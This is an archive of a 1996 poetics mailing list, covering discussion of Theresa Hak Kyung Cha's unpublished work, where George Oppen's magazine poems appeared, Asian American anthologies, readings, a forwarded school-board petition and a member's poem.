Re: Theresa Hak Kyung Cha
Tue 23 Apr 1996

Walter Lew or anybody else who knows --

In the contributor's note to _Premonitions_ it says that there will be a book of poetry by Theresa Hak Kyung Cha from Kaya Production -- Any due date on that yet?

↑ Index

575. Tony Green
Re: I found this on a local board. I have NOT verified it.
Tue 23 Apr 1996

Re Dole/?penis. These things do occur. There was a similar problem in English-speaking countries over the name of French rugby forward Jean Condom every time he wrapped up an opponent. But noone stopped printing his name out of embarrassment as far as I know.

Tony Green,
e-mail: [redacted]

↑ Index

576. Steve Carll
Re: can't play (skinny arms)
Tue 23 Apr 1996

At 09:52 AM 4/24/96 GMT+1300, Tony Green wrote:
>Ornette Coleman on trumpet is said to have annoyed Miles Davis?

Yes, Miles was doing the "Blindfold Test" for _DownBeat_ one time when they played him an Ornette cut. His response was (imagine that raspy voice now!) something like, "It sounds like Ornette Coleman--and it sounds like someone's standin' on his foot."

****

Steve Carll
[redacted]

"--A sound of waters bending astride the sky
Unceasing with some Word that will not die...!"
--Hart Crane
****

↑ Index

577. **Walter K. Lew**
Re: thoreau, civil disobedience
Tue 23 Apr 1996

Dear Jeff Timmons, The problem is not a bi-polar opposition of a national or unifying myth vs. individual rights (which still operates within a romanticized All vs. One paradigm, even if many "Ones" vs. a constantly re-morphing All), but multiple fields or zones: the historically inescapable situation of many conflicting national myths simultaneously circulating, drifting, falling through each other within "America". It's not a matter of winning "individuals" over to The Myth but the basically unresolvable antagonism between the many myths that are out (t)here. And, in fact, within these other myths and cultures (which we pretentiously call "SUBcultural"), people probably feel themselves less constituted as "individuals" (in any significant Western philosophical sense) than they would be in standard U.S. ideology. That's one very fundamental reason why we need so many narratives, although I hope people know by the way I have edited Asian American and diasporic volumes, that this by no means implies support for a Norton or Heath Anthology version of pancake multiculturalism (I think Chris Daniels alluded to such a few weeks ago in a message about envisioning-dead-grandparents poems--a trope, incidentally, that (along with what Prof. Sau-ling Wong of UC Berkeley calls "food pornography") has become an obsession in a lot of pulp or mainstream Asian American literature (Amy Tan's latest ridiculousness {I have this Chinese ability to see ghosts, nyeah, nyeah}, memoirs and elegies by poets like Garrett Hongo and Li-young Lee, etc.: a trope that the emerging novelist Heinz Insu Fenkl {a book due out from Dutton this fall, teaches at Vassar} calls the trope of "mummification", in which a tormented cadaver from the old country is the pre-requisite for any narrative to begin. Of course, there are a lot of good graveyard poems left to be written (just as even Schoenberg said that there were good symphonies still to be written in C-major), but this has become a sadistic standard technique by which Asian American writers relate "poetically" to the past without feeling obligated to renovate it somehow. Maybe it's because dead people can't talk back to what their poorly informed descendants are saying.)

↑ Index

578. **Walter K. Lew**
Re: Theresa Hak Kyung Cha
Tue 23 Apr 1996

Dear Aldon Nielsen, Kaya Production never had plans to publish a book of Theresa Hak Kyung Cha's poetry. There is not enough verifiably finished work

that hasn't already been published in *DICTEE* and the anthologies *Hotel* {Reese Williams, ed.} and *Apparatus* {Cha, ed.}--both published by Reese' defunct Tanam Press [Printed Matter in New York may still have copies?]--to make a substantial volume. (The piece in Reese's anthology *Fire Over Water* is taken from DICTEE.) There WERE plans for the second issue of the journal *Muae: a journal of transcultural production* to include a special section on Cha's work in several media, including poetry; the previously unpublished poem on the Hopper painting that appears in *Premonitions* (not the opening excerpts from "Commentaire") was originally given to me by her then-husband, the photographer Richard Barnes (Cha died in 1982), along with two other unpublished poems; these latter were going to appear in Muae, but I am no longer editor of Muae and it's clear that the new editor/editorial board (none has been PUBLICALLY announced yet) would not be interested in carrying out the previous board's projected plans, except to aggravate us by appropriating the ideas and doing it wrong (which the Korean sister journal of Muae in Seoul, *Munhak chongshin*, has just done in its latest issue by getting a bunch of hypocrites to write pseudo-post-modern articles about the re-emergence of the pivotal 1980 Kwangju Massacre--the transformation of possibly the most important political event in South Korean history during the last three decades into diverse mass media "text"). Now, there ARE unpublished poems by Cha that, however, one cannot confidently declare "finished" in the fascinating Cha archive that has been established at the University Art Museum (UC Berk) under the curatorship of Larry Rinder, who wrote his M.A. thesis on Cha's work (I think at Hunter in NYC). You have to call to make an appointment ahead of time because someone has to accompany and monitor you as you go through the notebooks, etc. The archive has prepared a catalog as well. I have some thoughts on the poetical and philosophical fragments there if you would like to pursue further conversation on this matter and I could also send you copies of the two poems that Richard gave me. Do you have a particular interest--was it the multi-media work or the poem that more interested you? By the way, any journal or press editor out there interested in publishing a suddenly orphaned collection of essays by 5-6 writers on Cha's work? We would need good paper and a careful printer for reproducing the video and performance stills. Contact me for the exiciting details!

↑ Index

579. **Walter K. Lew**

Re: USOP

Tue 23 Apr 1996

Bob, Emily and anyone else interested in Lesbian poetry-- Take a look at the six poems by Ann Kong on pp. 152ff of *Premonitions* (one of the poems is also

in *Muae: A journal of transcultural production*). They're very different from each other and very, very good (even *Library Journal* understood their mysticism to a certain extent!--thanks Fred Muratori). She's one of the "discoveries" in the book. The type of poet Garrett Hongo would have never considered publishing in that Doubleday anthology *The Banana Boat* (Kimiko Hahn, Al Robles, Theresa Cha, Lois Ann are just four of the many other Asian American poets that were somehow deemed less important than his cast of workshop poets). Ann Kong runs a bleach bottle ant farm, a restaurant, and holds an annual Neil YOung birthday party (that's what her answering machine says) in and around Berkeley. I've never seen her read, but Bob she's bettern than most of the more well-known US poets of Lesbos --do you want her contact info?

Hey, it's fun to be back on the elist at my new address: [redacted] for all these messages, but I haven't been able to transmit anything but the briefest text over the last few weeks due to cpu problems. Which also hasn't allowed me to explain what some of you must have considered my obnoxious message about Mom's shit proverbs and white science, etc. That message was any emailer's primal nightmare--it was only meant for Maria to see and I sent it out to everybdy by mistake. Not that I withdraw anything I said ("What the Lew meant to say is thatx"), but if I had known it was going out to the whole list i would have expressed and explained things differently. Which I will later. This is also why I wasn't able to respond to Jordan Davis's questions about "white guys! white guys!" and "Korean commercialism"--and let such gems pass by uncommented on as Henry Gould's strange assertion that all women in South Korea do is shop and plan big meals and Maria Damon's humorously enjambed (but inaccurately recalled) verse from "Woe-is-uh-Me-Bop" (side 1, cut 6 of Capt. Beefheart & The Magic Band's immortal *Lick My Decals Off, Baby*--Chris Daniels, How could you expect Beefheart to be a "primitive"? It's just that he's just very close to Mississippi Blues--GREAT ANECDOTE about meeting him at the gallery--it's like when I met Ringo Starr hiding behind a column near the British Airways counter at JFK International and he couldn't get enthused by any project now that he was no longer caught up in film acting and music--the physical detail I remember most is that his lips were all scabby and ravaged by infection--Is that why he was hiding?) Henry, you'll get yours later, but thanks for taking *Muae* into your archive (I got my M.A. at Brown in 1981--it's great to hear that Edwin's a knight now--how can I contact him?: it does, I think, have enough poetry in it to qualify and I hope other people on the elist will ORDER COPIES directly from me (also available at Cody's, SPD, St. Mark's, Printed matter, etc.). O.K.--sorry to send three messages in one shot (and that doesn't even count all the individual back-channeling I'm sending along with these to avoid clogging up the list)--I promise to stay off for a day or two.

↑ Index

580. Jeffrey W. Timmons
Re: thoreau, civil disobedience
Tue 23 Apr 1996

On Tue, 23 Apr 1996, Walter K. Lew wrote:

> *Dear Jeff Timmons,*
> *The problem is not a bi-polar opposition of a national or unifying myth vs. individual rights (which still operates within a romanticized All vs. One paradigm, even if many "Ones" vs. a constantly re-morphing All), but multiple fields or zones: the historically inescapable situation of many conflicting national myths simultaneously circulating, drifting, falling through each other within "America".*

well i agree. but i still think it is a matter of "individuals" resisting national/unifying myths/fictions--at least as much as theres no way it seems to me to unify across certain chasms that the unabomber the freemen waco ruby ridge the sheik et al represent in the american fabric. i agree there are polyvalent fictions polymorphic americas out there but do you think its possible for such discontinuities to find common ground? ok ok ok. i know: thats not the point. the point is finding something (what?) in the simultaneity of differences coexisting. this seems a whitmanian problem dont it? and as such it seems to have failed in the sense that some "individuals" and groups following their own "higher cause" no longer see that cause as the public welfare but their own self-serving bottom line. your myth is interfering with my way of life buddy!--you can hear em saying....

stop me....

JEFFREY timmons

↑ Index

581. Colleen Lookingbill
S.F. Reading Albon/Torra
Wed 24 Apr 1996

Joseph Torra and George Albon will be reading at Canessa Park Gallery on Thursday evening, May 2, 1996 at 8:00 pm. Admission is $5, address is 708 Montgomery Street, corner of Columbus and Montgomery. See you there!

↑ Index

582. **Eryque Gleason**
Re: USOP
Wed 24 Apr 1996

Dear walter, i just read yr apologetic post, and i for one would rather that you go ahead and keep posting! Although, it might be good to send messages in groups every few hours. With the way that threads come and go here, if you stay off for a day or two, we may have forgotten the original thread!

Eryque

↑ Index

583. **Stephen Galen Cope**
Re: Erica Hunt
Wed 24 Apr 1996

Aldon:

Erica Hunt was just here reading and had copies of her new book hot off the press. As I'm sure you can imagine, it's lovely (woodcut prints on vellum accompany the poems). So it shouldn't be long before it finds its way there. MacGregor Card also taped the reading here, and I'll send you his number if you backchannel...

Best,

Stephen Cope
([redacted])

↑ Index

584. **Gabrielle Welford**
For: >utah school board petition (fwd)
Wed 24 Apr 1996

Please review and if you support the petition follow the instructions for signing and forwarding...

On February 20, 1996, the Salt Lake City School Board voted to ban all clubs to keep a Gay/Lesbian/Straight Alliance from forming at East High School. Despite numerous phone calls and countless letters, the board seems to remain recalcitrant.

Salt Lake City will host the 2002 Winter Olympics with the slogan "The World is Welcome Here." The Salt Lake City School Board's decision >calls into question how much of the "World" is truly "Welcome" here. The Citizen's Alliance for Hate Free Schools, a project of the Utah Human Rights Coalition, calls on

all supporters of the rights of young people to have equal access to educational opportunities and safe schools to sign the following petition.

PLEASE SIGN THE PETITION AND THEN FORWARD TO SOMEONE ELSE.

IF YOU ARE THE TENTH PERSON TO SIGN YOUR NAME, FORWARD THE LIST BACK TO ME: [redacted] (i.e., the 10th, 20th, 30th person will forward this message to me in progress). I will compile the petition and send it to the board members.

Target Deadline: June 4, 1996

PETITION TO THE SALT LAKE CITY SCHOOL BOARD

"We, the undersigned, support the efforts by area high school students to organize non-curricular clubs and alliances designed to increase > understanding and good will among the high school population and the general public as well. We call on the Salt Lake City School Board to resist all illegal attempts at intimidation and coercion to deprive their students of their legally guaranteed rights. We request that they take immediate action to reverse their decision on February 20, 1996 to ban all clubs."

NAME PLACE OF RESIDENCE EMAIL (not obligatory)

1. Alison Streit, Washington, DC
2. Christine Allison, Santa Barbara, CA
3. Larry McLellan, Santa Barbara, CA
4. Keith Goeringer, San Francisco, CA [redacted]
5. Meridith Wulff, Washington, DC
6. Kelly Hoffman, Washington, DC
7. Monica Sahaf, Washington, DC
8. Sarah Dailey, Washington, DC
9. Travis Truman, Washington, DC [redacted]
10. Alethea Claire Dailey, Manhattan, NY [redacted]
11. Katy Forsyth, Manhattan, NY>12. J. Monty Worth, San Franciso, CA
13. Anne Mahle, New York, NY
14. Mike Fee, SALT LAKE CITY, UT!
15. Karen Mac Fee, Salt Lake City, UT
16. Libby Marsh, San Francisco, CA [redacted]
17. Dave Janka, San Francisco, CA [redacted]
18. Kim Puckett-Slinn, San Francisco, CA [redacted]
19. davidmahr, San Francisco, CA [redacted]
20. Steve Mele, San Francisco, CA [redacted]
21. Sloan Ginn, San Francisco, CA [redacted]
22. Susan Lee, Burlington, VT [redacted]
23. Kevin Murakami, Burlington, VT [redacted]
24. Julie Wells, Burlington, VT

25. Colleen McKiernan, Burlington, VT [redacted]
26. Paul A. Wojtaszek, Aurora, CO [redacted]
27. Paul Orosz, Denver, CO [redacted]
28. Scott James, Naples, FL [redacted]
29. Erin Buckley, Reston, VA [redacted]
30. Barb Fulton, Arvada, CO [redacted]
31. Shelley Reid, Sherman, TX [redacted]
32. Gabrielle Welford, Honolulu HI [redacted]

↑ Index

585. **Ron Silliman**

Re: Oppen's magazine publishings etc.

Wed 24 Apr 1996

I have not seen a copy of the SF Review since I was in college in the 1960s. The admirable, even awesome archive at UCSD did not yet exist in those days, so I don't know if it ever was acquired there. What about at SUNY Buffalo? Poetry should be collected in any decent college library (and is well worth browsing through the old issues of, at least through Henry Rago's regime -- Rago, who started as editor in around 1955, was the editor who devoted so much space to printing Zukofsky there and would have been the one who printed Oppen, if indeed he was there...Rago went through some sort of conversion experience around 1962 and the journal became much more eclectic at that time, up until his death in 1969. I still keep the 50th anniversary issue and the two double issues from that same period. The April-May 1965 double issue (devoted to works in progress, long poems, and sequences) includeds Creeley, Duncan ("The Fire"), Ronald Johnson, Kenneth Koch, Levertov, Olson (including Cole's Island), Gary Snyder, Charles Tomlinson (from his American poem sequence, quite a terrific usage of WCW's influence), Gael Turnbull and Philip Whalen. Plus, on the more conservative side, Wendell Berry, Hayden Carruth, Galway Kinnell, Adrienne Rich, Anne Sexton and Ted Weiss. Could any mag today print such a diverse set of poets of like quality? I doubt it.

Ron Silliman

↑ Index

586. **Ron Silliman**

Re: Oppen's magazine publishings etc.

Wed 24 Apr 1996

David, Burt, et alia,

"The _San Francisco Review_ entry is, I see,
>lamentably incomplete: it only cites the issue number (#7), not the

>date. So Ron's notion that _SFR_ published poems by Oppen in the late
>1950s is not one I can either prove or disprove. By the by, wasn't
June Oppen Degnan, George's younger half-sister, the publisher of
SFR? In fact both _The Materials_ and _This in Which_, if I recall
correctly, were jointly issued by New Directions and _SFR_.
>
If it was #7, then I'd wager that SF Rev must have been well into the
60s (this is sort of what happens to memory). Yes, I believe that June
was the publisher and that SFR co-published the early books as well.

Didn't George Hitchcock have something to do w/ SFR at some point?

Ron

↑ Index

587. **Fred Muratori**

Re: Oppen's magazine publishings etc.

Wed 24 Apr 1996

Thanks to Cornell's complete set of _San Francisco Review_, I was able to locate the issue (Vol. 1, #7) with the Oppen poems. It's dated December 1960. The poems ("Monument,""Antique," & "Debt") appear on pages 72-73. The contributor's note is almost objectionably modest, riding as it does on the tail of Gil Orlovitz's: "...He [Orlovitz] now lives in New York City, as does George Oppen, the former editor of the _Objectivist Press_." That's it, period.

(As an aside, it's a real pleasure to run across Orlovitz's poems again. Talk about a poet who's been unjustifiably neglected. Anyone know if his work is still in print?)

Also, George Hitchcock is credited as an associate editor from the first issue clear through to the last.

> *David, Burt, et alia,*
>
> *"The _San Francisco Review_ entry is, I see,*
> *lamentably incomplete: it only cites the issue number (#7), not the*
> *date. So Ron's notion that _SFR_ published poems by Oppen in the late*
> *1950s is not one I can either prove or disprove. By the by, wasn't*
> *June Oppen Degnan, George's younger half-sister, the publisher of*
> *_SFR_? In fact both _The Materials_ and _This in Which_, if I recall*
> *correctly, were jointly issued by New Directions and _SFR_.*
>
> *If it was #7, then I'd wager that SF Rev must have been well into the*
> *60s (this is sort of what happens to memory). Yes, I believe that June*
> *was the publisher and that SFR co-published the early books as well.*

> *Didn't George Hitchcock have something to do w/ SFR at some point?*
>
> *Ron*

****
Fred Muratori "From dreams and memories,"
([redacted]) words vanish first."
Reference Services Division - Rae Armantrout
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

588. Emily Lloyd
lesbo premonitions
Wed 24 Apr 1996

walter, I was about an hour ahead of your pointing towards ann kong...just got my copy of *Premonitions*, and yes, I enjoyed her work very much. (tho curious: who do you have in mind when you say "better than most of the more well-known US poets of Lesbos? not at all disagreeing, just wondering who these are for you). seems as if asian voices have been particularly silenced/absent/whatever from lesbian poetry (good to see inverse not true here)...the only other one I've found is kitty tsui, who's not in *Premonitions* but is highly anthologized & regarded in the queergirl community. it was also good to see some erotic gay male stuff...& timothy liu, if you're still out there, beautiful as always. em

~~~~~~
Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser

↑ Index

589. Loss Glazier
Your favorite listserv
Wed 24 Apr 1996

For a list I'm composing, how about sending me VIA DIRECT MAIL your FAVORITE (other than Poetics!) mailing list and its address!!! Don't reply to the list, send to [redacted]

THANKS!
Loss
~~~~~~

↑ Index

590. Joe Amato
poetry (the journal)...
Wed 24 Apr 1996

ron, yes, i have those issues of poetry too... kind of amazing to read through...

but what is it, exactly, prevents an even *more* amazing such amalgam today?... i mean, esp. given what's been unearthed, as it were, socially and culturally, locally and globally, in the intervening three decades?... seems to me a journal these days might muster more diversity, aesthetically and otherwise, with equivalent quality... has it been done?... is it being done?... where?...

any takers?... love to know what y'all think...

joe

↑ Index

591. Alan Golding
Oppen
Wed 24 Apr 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Burt (thought I'd post this to the list in case others are interested)--

Can't help with most of your questions, but: my edition of *The Materials* lists poems as having been previously published in Poetry, The SF Review, and The Massachusetts Review. And yes, as David M. said, *The Materials* (and also *This In Which*) were joint publishing projects of New Directions and June Oppen Degnan's SF Review. Like many others, I had always thought/assumed that GO started writing The Materials on returning to the US in 1958 (think I've got that date right), but in *Meaning: A Life* Mary says that he started just before their return, after a psychiatrist interpreted one of George's dreams as meaning that "you don't want to rust, do you?" According to Mary, he immediately ran out, bought some paper, and started writing.

OK--just checked the Selected Letters--Rachel dates GO's return to poetry as May 1958, with the first poem being "Blood from the Stone." The Oppens received their passports to return to the US in Aug. 1958.

Alan G.

PS: An ambiguous blurb on *The Materials* says that poems in the book had appeared in Poetry, Mass. Review, SF Rev. "and other periodicals."

↑ Index

592. **Joe Amato**
mummies, mommies, etc...
Wed 24 Apr 1996

---

walter lew, really fascinating post on the transfigured 'old-country' cadaver... have always been struck by this (poetic) phenomenon and am wondering how this figures differently in the asian context, say, from my own peculiar preoccupation with euro origins (being 1st. gen american on my mother's side, 2nd. on my father's)... albeit wrt cadavers, my inclinations/ruminations have more to do with the body transplanted, death (and aging) in a place other than one's 'country of origin'... how does the concept of place operate in the asian context, the concept of rootedness even?... any thoughts on this latter i'd love to hear...

best,

joe

↑ Index

593. **Maria Damon**
Re: USOP
Wed 24 Apr 1996

---

walter lew: what's a bleach bottle ant farm and is it worth my while to start one? as i sd backchannel, no need to worry excessively about your shit proverbs etc. i like the contentious nature of the list and appreciate your contributions, tho' yeah, you cd say the same thing in a diff way...or is that a theoretically incorrect statement? bests, maria d

↑ Index

594. **Rachel Blau DuPlessis**
Re: Oppen's magazine publishings etc.
Wed 24 Apr 1996

---

in RE: Oppen, I'll tell you what I know about some, but not all, of your questions. Oppen "returned" to poetry in May 1958. As I say in the intro. and ancillary materials in the _Selected Letters_ there are a couple of reasons, interior/psychological and exterior/political. In Nov. 1957, Oppen's name was removed from the "Security Index." In early 1958, Linda Oppen was accepted at college, and the long complicated snarls of fatherhood which GO felt were about to loosen somewhat. Also in 1958 (as best I know) Mary Oppen initiated visits to a therapist, and with a characteristic flair and acceleration, GO proceeded to have his initiatory "Rust in Copper" dream which I talk about in intro, and

which also comes up in interviews (e.g. with David MacAleavy) as being defining. His contact with publishers began soon after (in 1959) eased and mediated by the fact that his sister June Oppen Degnan was running the San Francisco Review. As for Bronk, I am sorry that I did not record the date of the first letter, in the _Selected Letters_, but I would like to say for your benefit and for the benefit of others working on Oppen that I gave my papers concerning the making of the _Selected Letters_ to UCSD, where the Oppen collection is housed. That is folders of letters from all recipients, all

I had to sleect from, arranged by year (my dates, as you know) and within each folder, by approximate time of year. Also Bronk's letters are there, and the UCSD folks (uniformly helpful) should be able to tell you when first contac t between the two poets occurred. Rachel Blau DuPlessis [redacted]

↑ Index

595. Michael Coffey
Re: Erica Hunt -Reply
Wed 24 Apr 1996

there is a nice review of Erica Hunt's new book, Arcade, published by Kelsey St, in the april 29 issue of Publishers Weekly; also, a rave for seamus heaney's new book, The Spirit Level, from Farrar Straus; a pan of Donald Hall's newest; a starred review of Alicia Ostriker's newest from Univ. of Pittsburgh, among other things.

i'm new to the list, and work at Publishers Weekly. so if folks are interested, I could mention it when books that might be relevant to the list crowd get any notice in ol' PW.

also, i hope no one fears that some establishment toady is now lurking on the list. I too wish for less space for the tired and old form-masters and more for innovation, new foices etc, and I do what i can. And please, feel free to address me on mainstream or small press issues if you wish. Would be interested to hear what people out there are thinking.

you can reach me directly at [redacted]

my phone is [redacted]

↑ Index

596. **Jerry Rothenberg**
(no subject)
Wed 24 Apr 1996

The following was sent out locally and may be of interest to those within easy travel distance of San Diego.

jr

S L A M \ T E X T

A Festival of Poetry, Music, Video, and Performance

Beginning Thursday, May 2 through Saturday, May 4, 1996, the UCSD campus will come alive with the sights and sounds of Slam\Text, an inter- disciplinary festival sponsored by the Center for Research in Computing & the Arts (CRCA), the UCSD InterArts Consortium, the New Writing Series, the Division of Arts & Humanities, the Council of Provosts, and the Visual Arts, Literature, and Music departments.

Such international notables as Quebecois poet Nicole Brossard and San Francisco-based poet Michael McClure, accompanied by Ray Manzarek, keyboard player for The Doors, will join university notables Quincy Troupe and Jerome Rothenberg (performing with contrabassist Bertram Turetzky) for several evenings of poetry readings, live video performance, and text/music collaborations. The three day festival will encompass the following performances and presentations:

THURSDAY, MAY 2, 1996 -- 7 p.m. An evening of student performances
and presentations in the Visual Arts Facility
Performance Space, Russell Lane.

FRIDAY, MAY 3, 1996 -- 4:00 p.m. Canadian poet, novelist and essayist,
Nicole Brossard will present a poetry and prose reading
in the Visual Arts Facility Performance Space.

FRIDAY, MAY 3, 1996 -- 7:00 p.m. at the Center for Research in Computing & the Arts (CRCA), 408 University Center:

Thomas Allen Harris - live video performance
Nicole Brossard - reading
Kamau Daa'ood/James Newton - text and music
Stephanie Heyl - reading
Eugene B. Redmond - poet/bluesician

SATURDAY, MAY 4, 1996 -- 1-3 p.m. at Erickson Hall, B210
Mandeville Center:

Stan Douglas will present a lecture and his work "Pursuit, Fear, Catastrophe: Ruskin BC" for film, music and technology.

SATURDAY, MAY 4, 1996 -- 7:00 p.m.at CRCA, 408 University Center:

Michael McClure/Ray Manzarek - text and music
Genny Lim - poetry reading
Jerome Rothenberg/Bert Turetzky - text and music
Harumi Makino/Wadada Leo Smith w/the UCSD Creative Ensemble - text and music
Quincy Troupe/Scott Walton - text and music
Raul Ferrera-Balanquet - multimedia performance

-

All events are FREE and open to the public.

↑ Index

597. Kevin Killian
Re: Live from the Duncan Conference
Wed 24 Apr 1996

Dear Loss, hope you continue your report on the Duncan Conference. What happened, and why? Please post full details on the event to this list, and then back channel me with what everyone was wearing, etc. Wish I had been there but if you were that's the next best thing. -Kevin Killian

↑ Index

598. Burt Kimmelman
Re: Oppen's magazine publishings etc.
Wed 24 Apr 1996

Daniel, Ron, Fred, Alan, Rachel, and Mike Heller (via backchannel),

I can't thank you enough for being so forthcoming--and so quickly, which is good since i'm trying to put something together for Orono and UCSD may take some time getting me the stuff there (and other libraries) though I've already put in the request.

(Hey I forgot to thank David too!)

Best wishes to all,

Burt

↑ Index

599. Aldon L. Nielsen
Re: Oppen pubs --
Wed 24 Apr 1996

Like David, I am separted from my copies of Oppen bibliographies -- but the copyright notices on _The Materials_ indicate some of the poems had been in Mass. review, Poetry and S.F. Review

copyright page for _This in Which_ indicates poems had been in New Yorker (no kidding!), Poetry, The Nation and Paris Review -- _This_ idenitifes which poems were where, but the earlier book, which is probably yr real interest given the original question, does not -- both books were joint New Directions / San Fra. Review publications -- Yr Library shd have that _Paideuma_ with the icomplete bib in the back -- and then you can probably get SF Rev. xerox pages thru inter-lib. loan --

(If you're one of those who wants to own the actual ed., try Moe's books in Berkeley -- they might be able to lay hands on old SF Reviews for a price)X

↑ Index

600. Kevin Killian
Help w/Ginsberg Archive
Wed 24 Apr 1996

Can anybody help this guy?

> *MIME-Version: 1.0*
> *Date: Tue, 23 Apr 1996 12:03:44 -0400*
> *Reply-To: "BEAT-L: Beat Generation List" <[redacted]>*
> *Sender: "BEAT-L: Beat Generation List" <[redacted]>*
> *From: Tony Trigilio <[redacted]>*
> *Subject: Help w/Ginsberg Archive*
> *To: Multiple recipients of list BEAT-L <[redacted]>*
> *Status: U*
>
> *(I don't think my first message made it to the list. If it did, sorry for the duplication.)*
>
> *Has anyone on the list been to the Ginsberg archive at Stanford?*
>
> *Next week I will be doing research at the archive for my dissertation. I would love to hear from anyone who's been there--anything about your experiences with the material, and especially your sense of the strengths of the collection. At this point in my research, I'm most interested in source material from the 1950s and early 1960s--what he*

> *read, how he read (especially biblical and Gnostic texts)--and tracing this material through his longer poems. I'm also interested in his work with alternative presses, and how this work contextualizes the poetry.*
>
> *I've already planned with the library a look at the draft manuscripts of *Howl* and *Kaddish*--and the journal material that comes to bear on those poems. Right now I'm putting together a list of selected correspondence. I would love more information from folks on the list who have been there, or who know people who have worked with the collection. Feel free to e-mail privately if you want. Thanks.*
>
> *Tony Trigilio*
> *Northeastern University*
> *Boston, MA*
> [redacted]

↑ Index

601. **David McAleavey**

Re: Oppen pubs --

Wed 24 Apr 1996

Apologies in advance for continuing this on the list -- but there seem to be several people interested in these particulars.

The _Paideuma_ bibliography shows: in _Massachusetts Review_ (3, 2, Winter 1962), p. 348, "The Undertaking in New Jersey."

In _San Francisco Review_, as Fred M. said: 1, 7, (1960), pp. 72-3, "Antique," "Debt," and "Monument." [This "Monument," which has not been collected into book form, is also not the same poem as the one with the same title published in _This in Which_.]

In _Poetry_, 95, 4 (Jan. 1960), pp. 237-41: "Birthplace: New Rochelle," "The Source," "Myself I Sing,' "Part of the Forest, "The Biblical Tree." Both "Myself I Sing" and "Part of the Forest" appear in slightly different versions when published in _The Materials_; and "The Biblical Tree" has not been collected into book form, so far as I know.

In _Poetry_, 99, 6, Mar. 1962, pp. 371-2: "Travelogue," "Froma Photograph," and "Squall" (all in _The Materials_).

A magazine called _Thin Line_, out of Ann Arbor, published in its first number, in 1962, "The Mayan Ground," although that work appears, does it not, in _This in Which_.

That's all the info I have on works published by Oppen between 1958 and 1962.
-- David McAleavey

↑ Index

602. Chris Stroffolino
looking for liz brennan...
Wed 24 Apr 1996

Does anybody in the Bay Area know how I may get in touch with a poet who moved there around november, Liz Brennan. She keeps sending me postcards with no return address and asks me to write back.... Anyway, I don't know if Leslie Scalapino is on this list anymore, but Liz was a student of hers, and also she mentioned she met a JOHN NOTO out there, maybe Killian/Bellamy or Steve Carll can help out... Well, here's a poem of hers (though I wouldn't call it characteristic-- for she seems to work more often in non-lyric, more long lined sentence type modes--but it is one of the newest things she's sent):

DRY WASH

Such a democracy cannot
improve these roads
where crude white
crosses mark the sites
of fatal accidents caused
by a creature flying by
at the speed of a flood.
Is this the product
that everyone is going to want?
Suich a shock, to hear
God's voice speaking
English in this parched
yawn of a doubt where anyone
and everything else may be faith
slipping and laughing along
the fifteen-mile length of throat.

Preoccupation with a lack
of preoccupation
brings us full-wobbly-circle
back to the lure of lost
treasure's vast rose
blooming away trust.
Hardly enough elevation
to cast a shadow
or float a cloud.

Once-towns dwindled
to three chimneys and a coyote.
Dark gaps of the forsaken
left to lizards
are now entrances
to my open eardrum. (typo above, "suich")

Anyway, any help locating said poe would be appreciated. Chris S.

↑ Index

603. **Jordan Davis**
Poetry City April 25
Wed 24 Apr 1996

POETRY CITY at Teachers & Writers Collaborative
April 25, 6:30 p.m.
5 Union Square West, NYC

Gillian McCain and Steve Malmude

Gillian McCain lives in New York, down in Tribeca these days. She's the author of two books of poetry: _Upside Down City_ and _An Apparition of the Late Tilt_. Her poems have appeared in Arshile, Lingo, and The World. From 1994-1995 she was the editor of the Poetry Project Newsletter, and before that she was program assistant at the Poetry Project. _Somebody Kill Me: An Oral History of Punk Rock_, co-edited with Legs McNeil, will be available from Grove Press on June 1.

Steve Malmude lives on St. Marks Place. His first book of poems, _Catting_, was published by Larry Fagin's Adventures in Poetry. His poems have appeared in Sun, The World, O-blek, and Lingo. In the early 70s, he taught workshops at the Poetry Project at St Marks Church. His third book, _I Got to Know_, will be available from Skylab Books on June 1.

[Readings at Poetry City in the month of April (National Poetry Month! Go buy some books of poetry) are sponsored by Johnny Walker Black.]

↑ Index

604. **Eryque Gleason**
Re: lesbo premonitions
Wed 24 Apr 1996

> *community. it was also good to see some erotic gay male stuff...& timothy liu, if you're still out there, beautiful as always. em*

is timothy liu related to eric liu, editor of NEXT, a collection of essays that just happens to be sitting next to me?

eryque

↑ Index

605. **Bob Holman**
USOP
Wed 24 Apr 1996

Forwarded message:
From: [redacted] (Steve Cannon)
To: [redacted]
Date: 96-04-24 09:52:00 EDT

listen buster STEVE CANNON, DIRECTOR. I am the only one allowed to treat him as a prop. Renee McManus office dominatrix/ managing editor Tribes magazine
>
>Sunday, May 19, 1996 5pm-7pm
>Tribes Benefit
>
>THE UNITED STATES OF POETRY
>See poets videoized and put the creators on the hotseat
>Josh Blum and Bob Holman will answer
>
>@ Tribes Gallery, Steve Cannon, Prop.
>285 East Third Street
>
>& visit the USOP website:
>
>http://www.iguide.com/music/poetry
>
>
>
>
TRIBES:
[redacted]
Home page : http://interport.net/~tribes/

↑ Index

606. **Anne Tardos**
Steve McCaffery's new address?
Wed 24 Apr 1996

Hi Charles, Something I sent to Steve McCaffery to 185 Ontario Street in Kingston, Ont, came back as "moved." If you have his current address, could you please e it to me?

Thanks and love,
Anne

↑ Index

607. **mikl-em**
kong
Thu 25 Apr 1996

---

maria,

> *what's a bleach bottle ant farm and is it worth my while to start one?*

well, actually it is a bleach bottle PIG farm. "Ann Kong's World Famous Bleach Bottle Pig Farm" at 2072 San Pablo in Berkeley--that's just about three blocks south of SPD.

it's a most fine restaurant-cafe' that I've had the pleasure to frequent, never knowing the poetic connexion. Bleach bottles modified to look like pigz iz the motif, don't ya kno. and also real good home-frize.

...at least I haven't Seen any ants. mikl.

↑ Index

608. **Tim Wood**
A Prayer for our times,,,
Thu 25 Apr 1996

This passed through the computer system where I work. While it is not specifically poetry... there seems to be interest in the political among many on this list, so for those of an interest, here it is....

> *Author: Trish Lockhart Composed: 04/10 01:43 PM*
>
> *Subject:*
>
> *Reply: Thoughts on God*
>
> *This is a lovely little prayer that should really make you think.*
>
> *NOTE: The following is a prayer, intended to be between me and the*

Creator, so you may not want to read any further.

Dear God, Jehovah, Allah:

In these trying times, I pray for understanding of a nation and world that grows darker and colder by the day; a people who, even in your name(s), continue to preach separation, hatred and vengeance; and a government that often doesn't care about most of us, but still wants to tell us how and where to pray.

